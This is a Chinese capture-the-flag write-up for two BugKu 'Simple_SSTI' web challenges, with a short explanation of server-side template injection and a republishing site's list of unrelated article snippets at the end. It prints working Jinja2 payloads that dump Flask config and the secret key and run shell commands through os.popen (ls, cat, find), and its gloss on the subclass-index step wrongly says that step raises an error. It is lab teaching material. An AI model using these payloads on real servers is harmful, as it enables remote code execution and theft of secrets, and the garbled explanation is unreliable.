BugKu-Web-Simple_SSTI_1Simple_SSTI_2(浅析SSTI模板注入!)

何为SSTI模块注入?

SSTI即服务器端模板注入(Server-Side Template Injection),是一种注入漏洞。

服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。

常见的SSTI模块注入攻击有哪些

常见的SSTI模块注入攻击包括以下几种:

  1. 代码执行:攻击者可以通过SSTI注入在服务器端执行任意代码,包括命令执行、远程文件包含等攻击。这可能导致服务器被完全控制,进一步导致数据泄漏、服务器崩溃或恶意操作。
  2. 敏感信息泄露:攻击者可以通过SSTI注入获取服务器上的敏感信息,如数据库连接字符串、API密钥等。这可能导致用户数据泄露、系统被入侵或身份盗窃等问题。
  3. 垂直和横向越权:通过SSTI注入,攻击者可能访问到非授权的数据或功能,实施垂直或横向越权行为。这可能导致用户权限被提升、重要数据被访问或其他合法用户遭受影响。
  4. DoS攻击:攻击者可以通过SSTI注入导致服务器负载过高,从而拒绝服务,使网站或应用程序无法正常运行。

Simple_SSTI_1

题目环境
image.png

You need pass in a parameter named flag。
您需要传入一个名为flag的参数。

随便传参看看有何变化

?flag=1

image.png

?flag=flag.php

image.png

?flag=system(ls);

image.png

有点意思,不管输入什么,都会被"注释",不免让我有些惊愕。

接下来就步入正题吧

使用模板变量进行渗透
{{}}是模板变量的用法。在模板中,想要展示视图向模板渲染的变量,需要使用{{变量}}进行接收。

继续传参测试

?flag={{6*6}}

image.png

?flag={{6+6}}

image.png

爆出了部分信息

回到题目首页F12
image.png

You know, in the flask, We often set a secret_key variable.
你知道,在烧瓶里,我们经常设置一个秘密的钥匙…。

模板中的配置命令

在模板中,config通常指的是配置文件。这些文件包含了程序运行所需的设置和参数,使得程序可以根据配置文件的内容进行适应性调整。

那就到此为止吧

好好好,今天就依你,使用这把钥匙🔑来拿下flag

?flag={{config.SECRET_KEY}}
image.png
当然还有一个较为粗鲁的方法
直接查看所有配置
**?flag={{config}}**
image.png
最后一种方法就颇为更加的规范
?flag={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('echo $FLAG').read()}}

这里是对这段命令的解释

  1. ‘’.class:这部分获取了一个空字符串的类。
  2. .base:这部分获取了该类的基类,对于空字符串来说,它的基类是object。
  3. .subclasses():这部分返回了object类的所有直接子类。
  4. [127]:这部分试图访问子类列表的第128个元素(因为Python的索引是从0开始的),但这个索引超出了列表的长度,所以会抛出一个IndexError。
  5. .init:这部分试图访问某个类的初始化方法,但前面提到的子类列表访问是错误的,所以这一步也是错误的。
  6. .globals[‘popen’](‘echo $FLAG’).read():这部分首先尝试访问当前对象的全局符号表(字典),然后试图在其中查找popen键,并执行其对应的值(一个命令)。这个命令是echo $FLAG,它会输出环境变量FLAG的值。最后,.read()方法读取命令的输出。

这段代码的核心思想是通过复杂的对象模型和全局符号表来执行一个命令并读取其输出

image.png
拿下flag:
flag{d3b917ea81211b45b392e2ce1ec2a1c5}

Simple_SSTI_2

题目环境
image.png
照例查看配置信息
**?flag={{config}}**
image.png

唉,我不免耸了耸肩,有些无奈,并未发现什么有用的
想必相比第一题便不是那般小打小闹了
至此,看来得认真对待了

使用模板注入照打一番
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}

对于这段命令,在第一题,我也是有所提及,相差不大
这里略作解释
python中popen函数主要是用来执行linux命令函数
使用使用之前需要导入os模块
这段命令是列出上一级的所有目录以及文件

image.png
先看app目录
?flag={{config.__class__.__init__.__globals__['os'].popen('ls /app').read()}}
image.png

发现flag的存在

查flag内容
?flag={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
image.png
当让我们还可以使用Linux中find命令来查找flag的路径
?flag={{config.__class__.__init__.__globals__['os'].popen('find / -name flag').read()}}
image.png
接下来就照打不误了
?flag={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
image.png

拿下flag:
flag{1f13963c42fa39b5aae92e25d1627851}


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/218488.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入理解TheadLocal的使用场景和注意事项

前言 在日常实际开发当中我们往往会看到项目中有使用 ThreadLocal 的场景,大多数人有时候可能涉及不到自己的业务则没有进行关注。通常我在看代码时对于一些未知的东西常常引起我的好奇,我往往会分析:为什么要这么做?好处是什么&…

fuxploide,一款针对文件上传的Fuzz检测工具

fuxploide,一款针对文件上传的Fuzz检测工具 1.工具概述2.安装3.参数解析4.使用案例1.工具概述 Fuxploider 是一种开源渗透测试工具,可自动检测和利用文件上传表单缺陷。该工具能够检测允许上传的文件类型,并能够检测哪种技术最适合在所需的 Web 服务器上上传 Web Shell 或任…

【ARM Trace32(劳特巴赫) 使用介绍 1.2 - ARM 系统调试中常见的挑战】

请阅读【Trace32 ARM 专栏导读】 文章目录 ARM 系统调试中常见的挑战ARM 系统调试接口简例DAP-Debug Access portDAP 状态检查多核调试虚拟/物理地址Cache 数据一致性问题系统异常系统复位系统死机PC 采样Memory 采样RAM/Core Dump 分析小概率问题ARM 系统调试中常见的挑战 调试…

交直流充电桩检测

随着电动汽车的普及,充电桩的需求也在不断增加。为了保证充电桩的正常运行和使用安全,对其进行定期检测是非常必要的。检查充电桩的外壳是否有破损、变形等现象,以及充电桩的标识是否清晰可见。同时,还要检查充电桩的接口是否完好…

Elasticsearch:使用 OpenAI 生成嵌入并进行向量搜索 - nodejs

在我之前的文章: Elasticsearch:使用 Open AI 和 Langchain 的 RAG - Retrieval Augmented Generation (一)(二)(三)(四)​​​​​ 我详细地描述了如何使用…

自然语言处理第2天:自然语言处理词语编码

​ ☁️主页 Nowl 🔥专栏 《自然语言处理》 📑君子坐而论道,少年起而行之 ​​ 文章目录 一、自然语言处理介绍二、常见的词编码方式1.one-hot介绍缺点 2.词嵌入介绍说明 三、代码演示四、结语 一、自然语言处理介绍 自然语言处理&#xf…

5、Grounded Segement Anything

github sam安装与基本使用 stable diffusion安装与基本使用 安装GroundingDINO git clone https://github.com/IDEA-Research/GroundingDINO.git cd GroundingDINO pip install -e .pip install diffusers transformers accelerate scipy safetensors安装RAM&Tag2Text …

深度学习基本概念

1.全连接层 全连接层就是该层的所有节点与输入节点全部相连,如图所 示。假设输入节点为X1, X 2, X 3,输出节点为 Y 1, Y 2, Y 3, Y 4。令 矩阵 W 代表全连接层的权重, W 12也就代表 …

【C】⽂件操作

1. 为什么使⽤⽂件? 如果没有⽂件,我们写的程序的数据是存储在电脑的内存中,如果程序退出,内存回收,数据就丢失了,等再次运⾏程序,是看不到上次程序的数据的,如果要将数据进⾏持久化…

世微 AP5199S 降压恒流车灯驱动IC 兼容HV9910

说明 AP5199S 是一款外围电路简单的多功能平均电流 型 LED 恒流驱动器,适用于宽电压范围的非隔离式 大功率恒流 LED 驱动领域。 芯片 PWM 端口支持超小占空比的 PWM 调光, 可响应最小 60ns 脉宽。芯片采用我司专利算法,为客 户提供最佳解决方…

AIGC时代,如何保障ai绘图的算力需求

AIGC是目前非常热门的技术领域,被广泛应用于各个行业和领域,但同时AIGC也面临着诸多的痛点,那么如何解决这些痛点问题呢?云时代,又是如何通过云电脑赋能AIGC行业的,那么一起来文章中了解一下吧。 AIGC是什…

Trie 树详解

Trie 树详解 Trie 树(字典树)是一种用于高效存储和搜索字符串集合的树状数据结构。它的主要特点是能够在O(N)时间内实现字符串的插入、删除和搜索操作,其中 N 是字符串的长度。Trie 树的结构适用于敏感词过滤、单词搜索、自动补全等场景。在…

【HarmonyOS】【DevEco Studio】安装教程及环境配置问题解决

目录 一、DevEco Studio 安装二、配置环境ohmp安装报错问题解决方法一:注册表删除数值(没解决)方法二:进入DevEco Studio点击Settings进入设置(没解决)方法三:自己去官网下载ohmp的包安装&#…

PR片头模板|圣诞节快乐视频片头模板 Merry Christmas Logo

Merry Christmas logo 圣诞节快乐片头模板PR视频剪辑素材免费下载。 3个文本层。 9秒持续时间。 轻松的颜色控制。 After Effects and Premiere Pro 2021或更高版本。 全高清(19201080). 不需要插件。 包括视频教程. 不包括音频。 快速渲染。 来自PR模板…

Corona最新渲染器Corona11详解,附送下载地址

近日,Corona进行了大版本更新,发布了最新的Corona11。这次更新,包含众多新功能和新修复,借助 Corona 11 用户可将作品提升到更高的创作水准,更真实可感的视觉水平。 那么更新了那些呢?一起来看看吧&#x…

zookeeper1==zookeeper源码阅读,源码启动ZK集群

下载源码 Tags apache/zookeeper GitHub https://codeload.github.com/apache/zookeeper/zip/refs/tags/release-3.9.1 JDK8 MAVEN3.8.6 mvn -DskipTeststrue package 配置ZK1 zkServer.cmd中指出了启动类是 QuorumPeerMain QuorumPeer翻译成集群成员比较合理&#xf…

el-table/avue-curd 相同列内容合并

1.效果 2.html 3.js spanMethod({ row, column, rowIndex }) {if (column.property deviceName) {if (rowIndex > 0 && row.deviceName this.data[rowIndex - 1].deviceName) {return {rowspan: 0,colspan: 1,};}let rowspan 1;for (let i rowIndex 1; i < …

Windows提权方法

简介 内网提权&#xff0c;本意为通过某些服务的漏洞&#xff0c;从而获取到该服务器的shell&#xff0c;进而内网渗透&#xff0c;最终从普通用户变成超级管理员的一个过程 以下是一些常见的内网提权原理和方法&#xff1a; 横向移动&#xff1a;攻击者通过在内网中的一台受感…

学校家委会的职责和作用

在教育领域&#xff0c;学校家委会是一个不可或缺的角色。那么&#xff0c;学校家委会的职责和作用是什么呢&#xff1f;作为家长&#xff0c;我们又该如何参与其中呢&#xff1f;接下来&#xff0c;我将以知乎的口吻&#xff0c;为大家解答这些问题。 先让我们了解一下学校家委…

选品大作战:通过飙升榜找到了1000个爆款

通过商品飙升榜我发现了1000多个超级爆款&#xff01;赶超空间还很大。 店铺想要有流量、有销量&#xff0c;必须要会打造爆款&#xff01;打造的前提是会找到爆款。 拼多多每段时间都会有不少产品发生变化&#xff0c;在拼多多大幅爆单的&#xff0c;销售排名上升千万的商品…